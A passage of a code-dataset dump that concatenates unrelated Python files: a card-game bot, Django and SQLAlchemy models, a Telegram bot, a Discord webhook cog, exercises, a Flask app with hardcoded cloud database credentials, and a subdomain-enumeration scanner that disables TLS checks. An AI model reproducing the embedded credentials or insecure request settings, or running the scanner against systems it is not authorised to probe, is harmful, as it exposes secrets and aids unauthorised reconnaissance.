len(self.state.l_cards_on_right_lane_player) > 0:\n self.l_cards_on_player_board += self.state.l_cards_on_right_lane_player\n while len(self.state.l_green_objects_on_player_hand) > 0:\n c = self.state.l_green_objects_on_player_hand[0]\n if c.cost > self.state.player1.mana:\n self.state.l_green_objects_on_player_hand.remove(c)\n continue\n if len(self.l_cards_on_player_board) == 0:\n l_cards_can_summon_after.append(c)\n self.state.l_green_objects_on_player_hand.remove(c)\n continue\n else:\n self.use(c)\n self.state.l_green_objects_on_player_hand = l_cards_can_summon_after\n\n def use(self, c):\n self.l_cards_on_player_board.sort(key=lambda x: x.cost, reverse=True)\n self.l_turn.append(\"USE \" + str(c.instance_id) + \" \" + str(self.l_cards_on_player_board[0].instance_id) + \";\")\n self.l_cards_on_player_board[0].defense += c.defense\n self.l_cards_on_player_board[0].attack += c.attack\n if c.breakthrough:\n self.l_cards_on_player_board[0].breakthrough = True\n if c.charge:\n self.l_cards_on_player_board[0].charge = True\n if self.l_cards_on_player_board[0].lane == self.state.LANE_LEFT and self.l_cards_on_player_board[\n 0] not in self.state.l_left_cards_can_attack:\n self.state.l_left_cards_can_attack.append(self.l_cards_on_player_board[0])\n elif self.l_cards_on_player_board[0].lane == self.state.LANE_RIGHT and self.l_cards_on_player_board[\n 0] not in self.state.l_right_cards_can_attack:\n self.state.l_right_cards_can_attack.append(self.l_cards_on_player_board[0])\n if c.drain:\n self.l_cards_on_player_board[0].drain = True\n if c.guard:\n self.l_cards_on_player_board[0].guard = True\n if c.lethal:\n self.l_cards_on_player_board[0].lethal = True\n if c.ward:\n self.l_cards_on_player_board[0].ward = True\n self.state.player2.hp += c.opponent_health_change\n self.state.player1.hp += c.my_health_change\n self.state.player1.draw += c.card_draw\n self.state.player1.mana -= c.cost\n self.state.l_green_objects_on_player_hand.remove(c)\n","repo_name":"montoliu/locm_cec19","sub_path":"AlexStrategy/UseGreen.py","file_name":"UseGreen.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42915718806","text":"from django.db import models\nfrom django.contrib.auth import get_user_model\nfrom datetime import datetime\nfrom location_field.models.plain import PlainLocationField\nfrom django import forms\nfrom django.urls import reverse\nfrom django.conf import settings\n\n# Create your models here.\n\nclass Organism(models.Model):\n picture = models.ImageField(upload_to='images/', default = None)\n name = models.CharField(\n max_length=255, \n blank = False\n )\n # https://readthedocs.org/projects/django-location-field/downloads/pdf/latest/\n # default coordinates for Portland\n location = PlainLocationField(based_fields=['ecosystem'], zoom=18, blank=True, null=True, default='45.502978246693786,-122.67608642578126')\n edibility = models.BooleanField(blank=True, null=True)\n class Ecosystem(models.TextChoices):\n TEMPERATE_RAINFOREST = 'Temperate Rainforest',\n TROPICAL_RAINFOREST = 'Tropical Rainforest',\n DESERT = 'Desert',\n GRASSLAND = 'Grassland',\n TAIGA = 'Taiga',\n TUNDRA = 'Tundra',\n CHAPARRAL = 'Chaparral',\n OCEAN = 'Ocean',\n UNKNOWN = 'Unknown',\n OTHER = 'Other'\n ecosystem = models.CharField(\n choices = Ecosystem.choices,\n blank = True,\n null = True,\n max_length = 255\n )\n class Weather(models.TextChoices):\n SUNNY = 'Sunny',\n CLOUDY = 'Cloudy',\n RAINY = 'Rainy',\n WINDY = 'Windy',\n SNOWY = 'Snowy',\n OTHER = 'Other'\n weather = models.CharField(\n choices = Weather.choices,\n blank = True,\n null = True,\n max_length = 255\n )\n date = models.DateTimeField(\n null = False, \n blank = True, \n default=datetime.now\n )\n\n user = models.ForeignKey(get_user_model(), on_delete = models.CASCADE, default = '')\n \n def __str__(self):\n return self.name\n","repo_name":"jpchato/nature-share","sub_path":"natureShare/natureShareApp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"73423047307","text":"#print(\"\\033[31mhello pyhton\\033[0m\")\r\n#这是输出彩色字体的代码 31是红色 32是绿色 33是黄色 34是蓝色 35是紫色 36是青色 37是灰色 38是默认\r\n#0 默认 1 高亮 4 下划线 5 闪烁 7 反显 8不可见\r\n\r\n#功能块1 DNS、IP查询\r\nimport socket #用来域名查询\r\nfrom whois import whois\r\nimport re\r\nimport requests\r\nimport warnings\r\n\r\nwarnings.filterwarnings(\"ignore\") #全局忽略warn信息\r\n\r\nprint(\"\\033[33m _____________ /——\\ \\033[0m\")\r\nprint(\"\\033[34m / ________ \\_\\ _______ //_\\ \\ _____ __ \\033[0m\")\r\nprint(\"\\033[32m | // \\_/_/ // ____ \\ ___ \\ | \\| ||\\033[0m\")\r\nprint(\"\\033[31m | | | _____ | | / \\_// \\ \\ | ||\\ \\ || \\033[0m\")\r\nprint(\"\\033[35m | \\_\\____/\\_\\_\\_\\ _\\_\\ \\_ /_ ————— \\| || \\ \\||\\033[0m\" )\r\nprint(\"\\033[33m \\_____________/_/ \\_\\_\\/____\\| \\__\\__|| \\__\\| \\033[0m\")\r\nprint(\"\\033[35m \\__/\\033[0m \\033[36m\\_/\\033[0m\")\r\nprint(\"\\n\")\r\nprint(\" [dns] DNS查询域名解析ip\")\r\nprint(\" [whois] whois查询网站信息\")\r\nprint(\" [subdomain] 子域名挖掘\")\r\na = str(input(\"\\n请选择要执行的查询命令: \"))\r\n\r\ndef subdomain(url3):\r\n domainurl = \"https://scan.javasec.cn/run.php\"\r\n data = {\"id\":1}\r\n head = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36\",\r\n \"Content-Type\": \"application/x-www-form-urlencoded\",\r\n \"Accept\": \"application/json, text/javascript, */*; q=0.01\",\r\n \"Accept-Encoding\": \"gzip, deflate\",\r\n \"Accept-Language\": \"zh-CN,zh;q=0.9\"}\r\n con = requests.post(url=domainurl, data=data, headers=head, verify=False).content.decode()\r\n con1 = re.findall(r'\"(.*?)\"', con)\r\n i = 0\r\n while len(con1[i])!=0:\r\n url2 = \"https://scan.javasec.cn/run.php?url=\"+str(con1[i])+\".\"+str(url3)\r\n con2 = requests.get(url=url2, headers=head, verify=False).content.decode()\r\n i = i+1\r\n if(len(str(con2))>0):\r\n print(\"\\033[32m[+]\\033[0m\\033[34m查找结果: \\033[0m\", str(con2))\r\n print(\"\\033[32m[+]\\033[0m\\033[34m爆破结束!\\033[0m\")\r\n #print(len(con1))\r\nif(a==\"dns\"):\r\n try:\r\n ip = str(input(\"\\n请输入要查询的域名: \"))\r\n if(len(ip)!=0):\r\n print(\"\\n\\033[32m[+]\\033[0m\\033[34m查询结果IP为: \\033[0m\", socket.gethostbyname(ip))\r\n else:\r\n print(\"\\n\\033[31m[+]\\033[0m\\033[37m未获取到域名地址!\\033[0m\")\r\n except:\r\n print(\"\\n\\033[31m[+]\\033[0m\\033[37m请输入正确的域名!\\033[0m\")\r\nif(a==\"whois\"):\r\n try:\r\n url = str(input(\"\\n请输入要查询的域名: \"))\r\n if(len(url)!=0):\r\n print(\"\\n\\033[32m[+]\\033[0m\\033[34m查询whois信息为: \\033[0m\", whois(url))\r\n else:\r\n print(\"\\n\\033[31m[+]\\033[0m\\033[37m未获取到域名地址!\\033[0m\")\r\n except:\r\n print(\"\\n\\033[31m[+]\\033[0m\\033[37m请输入正确的域名!\\033[0m\")\r\nif(a==\"subdomain\"):\r\n url3 = str(input(\"请输入要爆破的主域名: \"))\r\n #print(\"\\n\\033[32m[+]\\033[0m\\033[34m查找结果:\\033[0m\")\r\n subdomain(url3)\r\nelse:\r\n print(\"[+]退出程序!\")","repo_name":"Egstar1/gscan","sub_path":"subdomain.py","file_name":"subdomain.py","file_ext":"py","file_size_in_byte":3316,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"21731433584","text":"import logging\nimport sys\nimport time\nfrom http import HTTPStatus\n\nimport requests\nimport telegram\n\nfrom config import (\n ENDPOINT,\n HEADERS,\n PRACTICUM_TOKEN,\n RETRY_PERIOD,\n TELEGRAM_CHAT_ID,\n TELEGRAM_TOKEN,\n set_logging,\n)\nfrom exceptions import (\n NotHomeWork,\n UnexpectedAnswer,\n WrongAnswer,\n NotForSendingError\n)\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nhandler = logging.StreamHandler(sys.stdout)\nlogger.addHandler(handler)\n\nHOMEWORK_VERDICTS = {\n 'approved': 'Работа проверена: ревьюеру всё понравилось. Ура!',\n 'reviewing': 'Работа взята на проверку ревьюером.',\n 'rejected': 'Работа проверена: у ревьюера есть замечания.',\n}\n\n\ndef check_tokens():\n \"\"\"Проверка загрузки переменных из venv.\"\"\"\n logger.debug('Загружаем переменные из venv')\n if not PRACTICUM_TOKEN:\n logger.critical('Нет токена PRACTICUM_TOKEN')\n if not TELEGRAM_TOKEN:\n logger.critical('Нет токена TELEGRAM_TOKEN')\n if not TELEGRAM_CHAT_ID:\n logger.critical('Нет токена TELEGRAM_CHAT_ID')\n if all((PRACTICUM_TOKEN, TELEGRAM_TOKEN, TELEGRAM_CHAT_ID)):\n logger.debug('Все токены успешно получены')\n return None\n logger.critical('Приостанавливаем программу')\n sys.exit('Не найден токен')\n\n\ndef send_message(bot, message):\n \"\"\"Функция для отправки сообщения в телеграмм.\n\n Args:\n bot (TelegramObject)\n message (str): сообщение для отправки в телеграмм\n \"\"\"\n try:\n bot.send_message(chat_id=TELEGRAM_CHAT_ID, text=message)\n except telegram.TelegramError as error:\n logger.error('Ошибка при отправке сообщения в телеграм')\n raise NotForSendingError(error) from error\n else:\n logger.debug(\n f'Бот отправил сообщение: {message}'\n f'\\nпользователю с id: {TELEGRAM_CHAT_ID}'\n )\n\n\ndef get_api_answer(timestamp):\n \"\"\"Функция для отправки запроса к API YandexPracticum.\n\n Args:\n timestamp (int): текущие время в формате int\n Returns:\n response (dict): ответ от сервера\n Raises:\n CriticalError: ошибка когда был получен любой ответ со стутусом != 200\n \"\"\"\n params = {'from_date': timestamp}\n try:\n homework_statuses = requests.get(\n ENDPOINT,\n headers=HEADERS,\n params=params,\n )\n if not homework_statuses.status_code == HTTPStatus.OK:\n message = ('Был полочен неожиданный ответ'\n f' Статус ответа: {homework_statuses.status_code},'\n f'\\n ENDPOINT:{ENDPOINT}, params:{params}')\n raise requests.exceptions.HTTPError(message)\n except requests.exceptions.HTTPError as error:\n logger.exception(error)\n raise UnexpectedAnswer(error) from error\n except requests.RequestException as error:\n logger.exception(error)\n raise WrongAnswer(error) from error\n logger.debug('Получен ответ')\n return homework_statuses.json()\n\n\ndef check_response(response):\n \"\"\"Функция для проверки существования ключа в ответе.\n\n Args:\n response (dict): словарь ответа\n Returns:\n response (dict) or None: если ключ существует\n возвращается словарь иначе None\n Raises:\n KeyError: В ответе API нет ключа домашней работы\n TypeError: когда на вход подали не словарь\n \"\"\"\n if not isinstance(response, dict):\n raise TypeError('Неверный формат данных, ожидаем словарь')\n if response.get('homeworks') is None:\n raise KeyError('В ответе API нет ключа homeworks')\n homeworks = response.get('homeworks')\n if not isinstance(homeworks, list):\n raise TypeError('Неверный формат homeworks, ожидаем список')\n if not len(homeworks) != 0:\n raise NotHomeWork('Нет домашней работы')\n return homeworks[0]\n\n\ndef parse_status(homework):\n \"\"\"Функция для проверки существования ключа в ответе.\n\n Args:\n homework (dict): словарь домашней работы\n Returns:\n message (str): сообщение для отправки боту\n Raises:\n StatusNotFound: если в словаре HOMEWORK_VERDICTS нет статуса\n \"\"\"\n logger.debug(f'Парсим данные {homework}')\n current_status_homework = homework.get('status')\n logger.debug(f'Текущий статус работы {current_status_homework}')\n if (current_status_homework is None) or (\n current_status_homework not in HOMEWORK_VERDICTS\n ):\n raise KeyError(f'Ошибка с ключом {current_status_homework}')\n verdict = HOMEWORK_VERDICTS.get(homework.get('status'))\n homework_name = homework.get('homework_name')\n if not homework_name:\n raise KeyError('В домашней работе нет ключа homework_name')\n logger.debug(f'Текущиие имя работы {homework_name}')\n message = f\"\"\"Изменился статус проверки работы \"{homework_name}\".\n {verdict}\"\"\"\n return message\n\n\ndef main():\n \"\"\"Основная функция для запуска бота.\n\n Логика следующая:\n 1 - Проверяем загрузку токенов из venv\n 2 - Инициализируем бота\n 3 - инициализируем переменную для сохранения исключений\n 4 - инициализируем текущие время\n 5 - заходим в бесконечный цикл\n 6 - получаем ответ API яндекса\n 7 - проверяем ответ\n 8 - получачем статус ответа\n 9 - оптравялем сообщение в телеграмм\n 10 - ставим паузу на 10 минут\n 11 - обрабаываем исключения, при повторном одинаковой ошибки мы сообщение\n не отправляем\n \"\"\"\n check_tokens()\n bot = telegram.Bot(token=TELEGRAM_TOKEN)\n previous_exception = None\n timestamp = int(time.time())\n while True:\n try:\n request_query = get_api_answer(timestamp=timestamp)\n response = check_response(request_query)\n if response:\n get_message = parse_status(response)\n send_message(bot=bot, message=get_message)\n previous_exception = None\n except NotForSendingError as error:\n logger.exception(error)\n except Exception as error:\n if str(previous_exception) != str(error):\n send_message(bot=bot, message=str(error))\n previous_exception = error\n logger.exception(error)\n finally:\n time.sleep(RETRY_PERIOD)\n\n\nif __name__ == '__main__':\n set_logging()\n main()\n","repo_name":"nuclear0077/homework_bot","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":7621,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40191639193","text":"from typing import List, Dict\nimport mysql.connector\nimport simplejson as json\nfrom flask import Flask, Response, render_template\n\napp = Flask(__name__)\n\n\ndef random_people() -> List[Dict]:\n config = {\n 'user': 'xuvwzq6wygw6t2gv',\n 'password': 'znabbsq170mffx5r',\n 'host': 'pxukqohrckdfo4ty.cbetxkdyhwsb.us-east-1.rds.amazonaws.com',\n 'port': '3306',\n 'database': 'hprxc6b8d6lbq5gf'\n }\n connection = mysql.connector.connect(**config)\n cursor = connection.cursor(dictionary=True)\n\n cursor.execute('SELECT * FROM random_people')\n result = cursor.fetchall()\n\n cursor.close()\n connection.close()\n\n return result\n\n@app.route('/')\ndef index():\n random_people_data = random_people()\n return render_template('index.html', title='Table View', random_ppl=random_people_data)\n\n@app.route('/table')\ndef table() -> str:\n js = json.dumps(random_people())\n resp = Response(js, status=200, mimetype='application/json')\n return resp\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')\n","repo_name":"itanne99/IS218-Web-Application","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19184033085","text":"import time\n\nimport discord\n\nfrom . import utils as vbu\n\n\ndef try_id(item):\n \"\"\"\n Try and get the ID from an item, otherwise returning None.\n \"\"\"\n\n try:\n return item.id\n except AttributeError:\n return None\n\n\ndef try_username(bot):\n try:\n return bot.user.name\n except Exception:\n return bot.application_id\n\n\nclass ConnectEvent(vbu.Cog):\n\n async def send_webhook(self, event_name: str, text: str, username: str, logger: str) -> bool:\n \"\"\"\n Send a webhook to the bot specified event webhook url.\n \"\"\"\n\n event_webhook: discord.Webhook = self.bot.get_event_webhook(event_name)\n if not event_webhook:\n return False\n try:\n avatar_url = str(self.bot.user.display_avatar.url)\n except Exception:\n avatar_url = None\n try:\n await event_webhook.send(\n text,\n username=username,\n avatar_url=avatar_url,\n allowed_mentions=discord.AllowedMentions.none(),\n )\n except discord.HTTPException as e:\n self.logger.error(f\"Failed to send webhook for event {event_name} - {e}\")\n return False\n except Exception as e:\n self.logger.error(e)\n raise e\n return False\n self.logger.info(logger)\n return True\n\n @vbu.Cog.listener()\n async def on_shard_connect(self, shard_id: int):\n \"\"\"\n Ping a given webhook when the shard ID is connected.\n \"\"\"\n\n await self.send_webhook(\n \"shard_connect\",\n f\"Shard connect event just pinged for shard ID `{shard_id}` - \",\n f\"{try_username(self.bot)} - Shard Connect\",\n f\"Sent webhook for on_shard_connect event in shard `{shard_id}`\",\n )\n\n @vbu.Cog.listener()\n async def on_shard_ready(self, shard_id: int):\n \"\"\"\n Ping a given webhook when the shard ID becomes ready.\n \"\"\"\n\n await self.send_webhook(\n \"shard_ready\",\n f\"Shard ready event just pinged for shard ID `{shard_id}` - \",\n f\"{try_username(self.bot)} - Shard Ready\",\n f\"Sent webhook for on_shard_ready event in shard `{shard_id}`\",\n )\n\n @vbu.Cog.listener()\n async def on_ready(self):\n \"\"\"\n Ping a given webhook when the bot becomes ready.\n \"\"\"\n\n await self.send_webhook(\n \"bot_ready\",\n f\"Bot ready event just pinged for instance with shards `{self.bot.shard_ids}` -\",\n f\"{try_username(self.bot)} - Ready\",\n \"Sent webhook for on_ready event\",\n )\n\n @vbu.Cog.listener()\n async def on_shard_disconnect(self, shard_id: int):\n \"\"\"\n Ping a given webhook when the shard ID is disconnected.\n \"\"\"\n\n await self.send_webhook(\n \"shard_disconnect\",\n f\"Shard disconnect event just pinged for shard ID `{shard_id}` - \",\n f\"{try_username(self.bot)} - Shard Disconnect\",\n f\"Sent webhook for on_shard_disconnect event in shard `{shard_id}`\",\n )\n\n @vbu.Cog.listener()\n async def on_disconnect(self):\n \"\"\"\n Ping a given webhook when the bot is disconnected.\n \"\"\"\n\n await self.send_webhook(\n \"bot_disconnect\",\n f\"Bot disconnect event just pinged for instance with shards `{self.bot.shard_ids or [0]}` - \",\n f\"{try_username(self.bot)} - Disconnect\",\n \"Sent webhook for on_disconnect event\",\n )\n\n @vbu.Cog.listener()\n async def on_shard_resumed(self, shard_id: int):\n \"\"\"\n Ping a given webhook when the shard ID is resumed.\n \"\"\"\n\n await self.send_webhook(\n \"shard_connect\",\n f\"Shard resumed event just pinged for shard ID `{shard_id}` - \",\n f\"{try_username(self.bot)} - Shard Resumed\",\n f\"Sent webhook for on_shard_resumed event in shard `{shard_id}`\",\n )\n\n @vbu.Cog.listener()\n async def on_resumed(self):\n \"\"\"\n Ping a given webhook when the bot is resumed.\n \"\"\"\n\n await self.send_webhook(\n \"bot_connect\",\n f\"Bot resumed event just pinged for instance with shards `{self.bot.shard_ids or [0]}` - \",\n f\"{try_username(self.bot)} - Resumed\",\n \"Sent webhook for on_resumed event\",\n )\n\n @vbu.Cog.listener()\n async def on_guild_join(self, guild: discord.Guild):\n \"\"\"\n Ping a given webhook when the bot is added to a guild.\n \"\"\"\n\n await self.send_webhook(\n \"guild_join\",\n f\"Added to new guild - ``{guild.name}``/``{guild.id}`` (`{guild.member_count}` members)\",\n f\"{try_username(self.bot)} - Guild Join\",\n \"Sent webhook for on_guild_join event\",\n )\n\n @vbu.Cog.listener()\n async def on_guild_remove(self, guild: discord.Guild):\n \"\"\"\n Ping a given webhook when the bot is removed from a guild.\n \"\"\"\n\n if guild.me:\n try:\n member_count = guild.member_count\n text = f\"Removed from guild - ``{guild.name}``/``{guild.id}`` (`{member_count}` members; `{vbu.TimeValue((discord.utils.utcnow() - guild.me.joined_at).total_seconds()).clean_full}` guild duration) - \"\n except Exception:\n text = f\"Removed from guild - ``{guild.name}``/``{guild.id}`` (`{vbu.TimeValue((discord.utils.utcnow() - guild.me.joined_at).total_seconds()).clean_full}` guild duration) - \"\n await self.send_webhook(\n \"guild_remove\",\n text,\n f\"{try_username(self.bot)} - Guild Remove\",\n \"Sent webhook for on_guild_remove event\",\n )\n else:\n try:\n member_count = guild.member_count\n text = f\"Removed from guild - ``{guild.name}``/``{guild.id}`` (`{member_count}` members)\"\n except Exception:\n text = f\"Removed from guild - ``{guild.name}``/``{guild.id}``\"\n await self.send_webhook(\n \"guild_remove\",\n text,\n f\"{try_username(self.bot)} - Guild Remove\",\n \"Sent webhook for on_guild_remove event\",\n )\n\n\ndef setup(bot: vbu.Bot):\n x = ConnectEvent(bot)\n bot.add_cog(x)\n","repo_name":"Voxel-Fox-Ltd/Novus","sub_path":"discord/ext/vbu/cogs/connect_event.py","file_name":"connect_event.py","file_ext":"py","file_size_in_byte":6576,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"82"} +{"seq_id":"16617662713","text":"# 5-2\nstr_1 = 'audi'\nstr_2 = 'bmw'\nprint(str_1 == str_2)\nprint(str_1 != str_2)\nnum_1 = 15\nnum_2 = 22\nprint(num_1 > num_2)\nprint(num_1 == num_2)\nprint(num_1 < num_2)\nprint(num_1 != num_2)\nprint(str_1 != str_2 and num_1 < num_2)\nprint(str_1 < str_2 or num_1 == num_2)\ncars = ['bmw', 'audi', 'honda']\nprint('audi' in cars)\nprint('toyota' in cars)\n\n# 5-3\nalien_color = 'green'\nif alien_color == 'green':\n print(\"Player got 5 points\")\nelse:\n print(\"No point added\")\n\n# 5-5\npoint = 0\nif alien_color == 'green':\n point = 5\nelif alien_color == 'yellow':\n point = 10\nelif alien_color == 'red':\n point = 15\nelse:\n point = 0\nprint(\"player got \" + str(point) + \" points!\")\n\n# 5-8 & 5-9\nnames = ['admin', 'mike', 'david', 'roy', 'jay']\n# names = []\nif names:\n for name in names:\n if name == 'admin':\n print(\"Hello admin, status report?\")\n else:\n print(\"Hello \" + name.title() + \", thanks for login\")\nelse:\n print(\"We need to find some users!\")\n\n# 5-10\ncurrent_users = ['admin', 'Mike', 'david', 'roy', 'jay']\ncurrent_users = [user.lower() for user in current_users]\nprint(current_users)\nnew_users = ['tim', 'Mike', 'alice', 'jay']\nfor user in new_users:\n if user.lower() in current_users:\n print(\"User exist, other names\")\n else:\n print(user + \" is not used\")\n\n# 5-11\nnumbers = range(1, 10)\nfor number in numbers:\n if number == 1:\n print(\"1st\")\n elif number == 2:\n print(\"2nd\")\n else:\n print(str(number) + \"th\")\n\n","repo_name":"wwangdev/crash","sub_path":"chap5.py","file_name":"chap5.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10077529703","text":"if __name__ == \"__main__\":\n import heapq\n N, K = map(int, input().split())\n A = [int(x) for x in input().split()]\n result = [0 for _ in range(N)]\n Aheap = [(-x, i) for i, x in enumerate(A)]\n heapq.heapify(Aheap)\n\n team = 1\n while Aheap:\n _, index = heapq.heappop(Aheap)\n if result[index]:\n continue\n result[index] = team\n\n count = 0\n k = 0\n while index - k - 1 >= 0 and count < K:\n if result[index - k - 1]:\n k += 1\n else:\n result[index - k - 1] = team\n count += 1\n count = 0\n k = 0\n while index + k + 1 < N and count < K:\n if result[index + k + 1]:\n k += 1\n else:\n result[index + k + 1] = team\n count += 1\n team ^= 3\n print(*result, sep='')\n","repo_name":"chacham/learn-algorithm","sub_path":"codeforeces/Round#552/E/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23462765270","text":"from posidonius.constants import *\nfrom posidonius.integrator.common import Integrator\n\nclass CoordinatesType(object):\n def __init__(self, variant):\n self._data = {}\n if variant in (\"Jacobi\", \"DemocraticHeliocentric\", \"WHDS\"):\n self._data = variant\n else:\n raise Exception(\"Unknown variant '{}'\".format(variant))\n\n def get(self):\n return self._data\n\nclass WHFast(Integrator):\n\n def __init__(self, alternative_coordinates, time_step, recovery_snapshot_period, historic_snapshot_period, universe):\n super(WHFast, self).__init__(time_step, recovery_snapshot_period, historic_snapshot_period, universe)\n self._data['half_time_step'] = self._data['time_step']*0.5\n self._data['inertial_velocity_errors'] = [{u'x': 0.0, u'y': 0.0, u'z': 0.0}]*MAX_PARTICLES\n self._data['particle_angular_momentum_errors'] = [{u'x': 0.0, u'y': 0.0, u'z': 0.0}]*MAX_PARTICLES\n self._data['timestep_warning'] = 0\n self._data['alternative_coordinates_type'] = CoordinatesType(alternative_coordinates).get()\n self._data['particles_alternative_coordinates'] = []\n particle_alternative_coordinates = {}\n particle_alternative_coordinates['mass'] = 0.\n particle_alternative_coordinates['mass_g'] = 0.\n particle_alternative_coordinates['position'] = {u'x': 0.0, u'y': 0.0, u'z': 0.0}\n particle_alternative_coordinates['velocity'] = {u'x': 0.0, u'y': 0.0, u'z': 0.0}\n particle_alternative_coordinates['acceleration'] = {u'x': 0.0, u'y': 0.0, u'z': 0.0}\n self._data['particles_alternative_coordinates'] = [particle_alternative_coordinates] * MAX_PARTICLES\n\n","repo_name":"marblestation/posidonius","sub_path":"posidonius/integrator/whfast.py","file_name":"whfast.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"62"} +{"seq_id":"40750007315","text":"from urllib import request\nfrom urllib import parse\n#通过网站访问的页面的地址是:https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=%E5%88%98%E5%BE%B7%E5%8D%8E\n#实际我们输入的地址是:https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=刘德华\n#因为有中文,所以需要进行编码,把中文转为16进���的字符串,两种方式,字典或者quote\nparam = parse.quote(\"刘德华\")\nzd={\"wd\":\"刘德华\"}\nparam2 = parse.urlencode(zd)\nprint(param)\nprint(param2)\nurl=\"https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&\"\nurl1= url + \"wd=\" +param\nprint(url1)\nurl2= url + param2\nprint(url2)","repo_name":"531207502/PycharmProjects","sub_path":"python爬虫/parse的使用/parse的使用.py","file_name":"parse的使用.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3763725892","text":"\"\"\"SQLAlchemy models for GOutdoors\"\"\"\n\nfrom flask_bcrypt import Bcrypt\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import UserMixin\n\nbcrypt = Bcrypt()\ndb = SQLAlchemy()\n\nclass User(UserMixin, db.Model):\n \"\"\"User Model\"\"\"\n\n __tablename__ = \"users\"\n\n id = db.Column(db.Integer,\n primary_key=True,\n autoincrement=True)\n\n username = db.Column(db.String(30),\n nullable=False,\n unique=True)\n \n password = db.Column(db.Text,\n nullable=False)\n\n email = db.Column(db.String(60),\n nullable=False)\n \n first_name = db.Column(db.String(30),\n nullable=False)\n \n last_name = db.Column(db.String(30),\n nullable=False)\n\n confirmed = db.Column(db.Boolean, nullable=False, default=False)\n\n confirmed_on = db.Column(db.DateTime, nullable=True)\n\n role = db.Column(db.Text,\n nullable=False)\n\n state_code = db.Column(db.String(2))\n\n created_at = db.Column(db.DateTime)\n\n journal = db.relationship(\"Journal\", backref=\"user\", cascade=\"all,delete\")\n\n visit = db.relationship(\"Visit\", backref=\"user\", cascade=\"all,delete\")\n\n # registration method\n @classmethod\n def register(cls, username, pwd, email, first_name, last_name, confirmed, role, created_at):\n \"\"\"Register user with hashed password and return user\"\"\"\n\n hashed = bcrypt.generate_password_hash(pwd)\n # Turn bytestring into unicode utf8 string\n hashed_utf8 = hashed.decode(\"utf8\")\n\n # Return instance of user with details and hashed pwd\n return cls(username=username,\n password=hashed_utf8,\n email=email,\n first_name=first_name,\n last_name=last_name,\n confirmed=confirmed,\n role=role,\n created_at=created_at)\n\n # authentication method\n @classmethod\n def authenticate(cls, username, pwd):\n \"\"\"Validate user exists and password is correct.\n\n Return user if valid, else return False\"\"\"\n\n u = User.query.filter_by(username=username).first()\n\n if u and bcrypt.check_password_hash(u.password, pwd):\n # return user instance\n return u\n else:\n return False\n\nclass Park(db.Model):\n \"\"\"Park Model\"\"\"\n\n __tablename__ = \"parks\"\n\n park_code = db.Column(db.String(4),\n primary_key=True,\n nullable=False)\n\n park_name = db.Column(db.String,\n nullable=False)\n\n state_code = db.Column(db.String(2),\n nullable=False)\n\n visit_count = db.Column(db.Integer)\n\n journal = db.relationship(\"Journal\", backref=\"park\", cascade=\"all,delete\")\n\n visit = db.relationship(\"Visit\", backref=\"park\", cascade=\"all,delete\")\n\n\nclass Journal(db.Model):\n \"\"\"Journal model\"\"\"\n\n __tablename__ = \"journals\"\n\n id = db.Column(db.Integer,\n primary_key=True,\n autoincrement=True)\n\n date_added = db.Column(db.DateTime,\n nullable=False)\n\n date_of_visit = db.Column(db.DateTime,\n nullable=False,\n unique=False)\n\n user_id = db.Column(db.Integer,\n db.ForeignKey('users.id'),\n nullable=False)\n \n title = db.Column(db.Text,\n nullable=False)\n\n text = db.Column(db.Text,\n nullable=False)\n \n park_code = db.Column(db.String(4),\n db.ForeignKey('parks.park_code'),\n nullable=False)\n \n title_img_url = db.Column(db.String)\n\n visit = db.relationship(\"Visit\", backref=\"journal\", cascade=\"all,delete\")\n\nclass Visit(db.Model):\n \"\"\"Park Visit Model\"\"\"\n\n __tablename__ = \"visits\"\n\n id = db.Column(db.Integer,\n primary_key=True,\n autoincrement=True)\n\n date_of_visit = db.Column(db.DateTime,\n nullable=False)\n\n user_id = db.Column(db.ForeignKey('users.id'),\n nullable=False)\n\n park_code = db.Column(db.String(4),\n db.ForeignKey('parks.park_code'),\n nullable=False)\n\n journal_id = db.Column(db.Integer,\n db.ForeignKey('journals.id'),\n nullable=True)\n\ndef connect_db(app):\n \"\"\"Connect this database to provided Flask app.\n\n Called app.py\n \"\"\"\n\n db.app = app\n db.init_app(app)","repo_name":"jake202020/goutdoors","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18602602481","text":"n = 3\nedges = [[0,1,100],[1,2,100],[0,2,500]]\nsrc = 0\ndst = 2\nk = 1\n\ncost = [10**9]*n\ncost[src] = 0\n\nadjCost = [[10**9]*n]*n\nfor f in edges:\n u, v, w = f[0], f[1], 